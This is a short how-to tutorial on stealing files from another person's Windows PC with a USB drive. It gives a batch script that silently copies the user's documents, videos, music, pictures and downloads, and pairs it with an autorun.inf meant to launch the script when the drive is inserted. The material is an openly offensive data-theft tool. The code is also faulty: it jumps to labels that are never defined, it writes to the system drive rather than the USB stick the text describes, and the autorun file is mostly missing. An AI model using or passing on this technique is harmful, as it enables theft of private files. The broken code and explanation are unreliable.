How To:Steal files from other PC via USB

When you plug in your Pen drive, system will look up for autorun.inf (incase if auto run is not disabled for your drive from the system).Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration batch file is copying only the files and folders in My Documents.
Here goes the batch code:
@echo off
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
What it actually does is in first case, CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command. Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Otherwise it will return an error and exits.
This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder. Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.
Case COPIER will execute when the program recognizes it is Windows XP, where the real copying work going on. Case ERROR will execute when the Documents and Settings, if doesn’t exists in your system root. This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.
Now let’s create a file that will load it automatically.
Action=File Copier
The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf. Copy the two files, autorun.inf and Filename.bat in your flash drive.
